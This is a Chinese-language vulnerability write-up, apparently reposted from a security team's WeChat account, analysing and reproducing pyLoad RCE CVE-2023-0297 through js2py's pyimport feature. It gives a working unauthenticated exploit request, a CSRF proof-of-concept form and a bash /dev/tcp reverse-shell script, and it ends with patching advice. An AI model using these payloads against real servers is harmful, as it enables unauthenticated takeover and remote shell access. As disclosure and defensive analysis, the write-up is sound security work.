pyLoad 远程代码执行漏洞分析及复现

渗透技巧 1年前 (2023) admin
523 0 0

点击关注公众号,知识干货及时送达?


pyLoad 远程代码执行漏洞分析及复现

START


前言

近日,一起名为pyLoad远程代码执行漏洞(CVE-2023-0297)的漏洞被曝光。这个漏洞存在于pyLoad软件中,攻击者可以利用该漏洞执行恶意代码,以此获得系统权限,并对受害者造成很大的风险。本文将对pyLoad远程代码执行漏洞进行深入分析,并提供相关的防范措施。

漏洞概述

pyLoad是一个开源的下载管理器,具有强大的功能和易用性。pyLoad使用Python编写,它可以运行在NAS、路由器和无头服务器等硬件平台上,也可以在Linux、Windows等操作系统中运行,并支持HTTP、FTP、SFTP和RSDF/CCF等多种协议。

pyLoad 存在代码注入漏洞,攻击者可通过此漏洞在未经身份验证的情况下注入恶意代码,导致服务器被攻陷。该漏洞的根本原因是pyLoad未能正确地过滤用户输入信息,并把用户输入当做程序代码来执行。攻击者可以利用JS2Py库中的漏洞将JavaScript注入到请求中,从而导致恶意代码执行。

影响范围

pyLoad稳定版< =0.4.20

pyLoad开发版本< 0.5.0b3.dev31

漏洞原理

在Pyload的源代码中有一行jk = eval_js(f"{jk} f()")

cnl_blueprint.py#L124

pyLoad 远程代码执行漏洞分析及复现

eval_js的定义如下:

misc.py#L25-L27

def eval_js(script, es6=False):
  # return requests_html.HTML().render(script=script, reload=False)
  return (js2py.eval_js6 if es6 else js2py.eval_js)(script)

这代表eval_js(f"{jk} f()")使用js2py的功能,此处通过request在前端页面处直接传值给jkeval_js函数再将jk传入的值当成js代码来执行也就是说此时我们可以执行任意js代码

cnl_blueprint.py#L120

pyLoad 远程代码执行漏洞分析及复现

因此您可以运行任意脚本代码。

但是Js2Py还支持使用pyimport语句导入任何Python代码,我们可以通过导入OS模块来执行系统命令,而且js2pypyimport的功能是默认开启的状态,如示例,执行ipconfig命令。

pyLoad 远程代码执行漏洞分析及复现

我们通过以下请求方式就可以造成RCE,执行任意命令。

POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

jk=pyimport%20os;os.system("命令");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa

请注意,请求中不存在 cookie 和 CSRF 令牌。这意味着:

  • 未经身份验证的攻击者能够直接访问目标主机进行 RCE

  • 即使攻击者无法访问目标主机,他们也可以通过CSRF攻击诱骗可以访问目标主机的受害者进行RCE:

    <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <body>
    <script>history.pushState('', '', '/')</script>
      <form action="http://<target>/flash/addcrypted2" method="POST">
        <input type="hidden" name="package" value="xxx" />
        <input type="hidden" name="crypted" value="AAAA" />
        <input type="hidden" name="jk" value="pyimport&#32;os&#59;os&#46;system&#40;&quot;touch&#32;&#47;tmp&#47;pwnd&quot;&#41;&#59;f&#61;function&#32;f2&#40;&#41;&#123;&#125;&#59;" />
        <input type="hidden" name="passwords" value="aaaa" />
        <input type="submit" value="Submit request" />
      </form>
    </body>
    </html>


    漏洞验证

    访问pyload首页,使用Burpsuite抓包,发送Repeater模块

    pyLoad 远程代码执行漏洞分析及复现

    构造请求参数和路径,直接ping一下dnslog判断漏洞是否存在,成功请求dnslog平台了,漏洞存在

    pyLoad 远程代码执行漏洞分析及复现

    漏洞利用

    准备一个能够反弹shell的脚本。

    #shell.sh

    !/bin/sh
    bash -c 'exec bash -i >& /dev/tcp/x.x.x.x/8000 0>&1'

    通过wget命令上传到服务器

    pyLoad 远程代码执行漏洞分析及复现

    在VPS上开启端口监听,在应用服务端执行shell脚本

    pyLoad 远程代码执行漏洞分析及复现

    成功反弹shell

    pyLoad 远程代码执行漏洞分析及复现

    修复建议

    针对pyLoad远程代码执行漏洞,以下是一些防范措施:

    1.版本升级

    pyLoad的开发者已经发布了修复该漏洞的更新版本,受影响用户可通过下载github发布的master分支构建程序:

    https://github.com/pyLoad/pyLoad

    也可通过PyPI直接安装最新版本:

    pip install --pre pyload-ng

    注意:建议在升级前备份所有重要数据和文件以避免数据丢失。

    2.禁用pyimport功能

    1) 在pyLoad中禁用pyimport功能。

    src/pyload/core/utils/misc.py文件中,增加一行代码js2py.disable_pyimport()

    pyLoad 远程代码执行漏洞分析及复现

    pyLoad 远程代码执行漏洞分析及复现

    END


    点击下方名片,关注我们
    觉得内容不错,就点下在看
    如果不想错过新的内容推送,可以设为星标pyLoad 远程代码执行漏洞分析及复现

    原文始发于微信公众号(希石安全团队):pyLoad 远程代码执行漏洞分析及复现

    版权声明:admin 发表于 2023年4月11日 下午1:17。
    转载请注明:pyLoad 远程代码执行漏洞分析及复现 | CTF导航

    相关文章

    暂无评论

    您必须登录才能参与评论!
    立即登录
    暂无评论...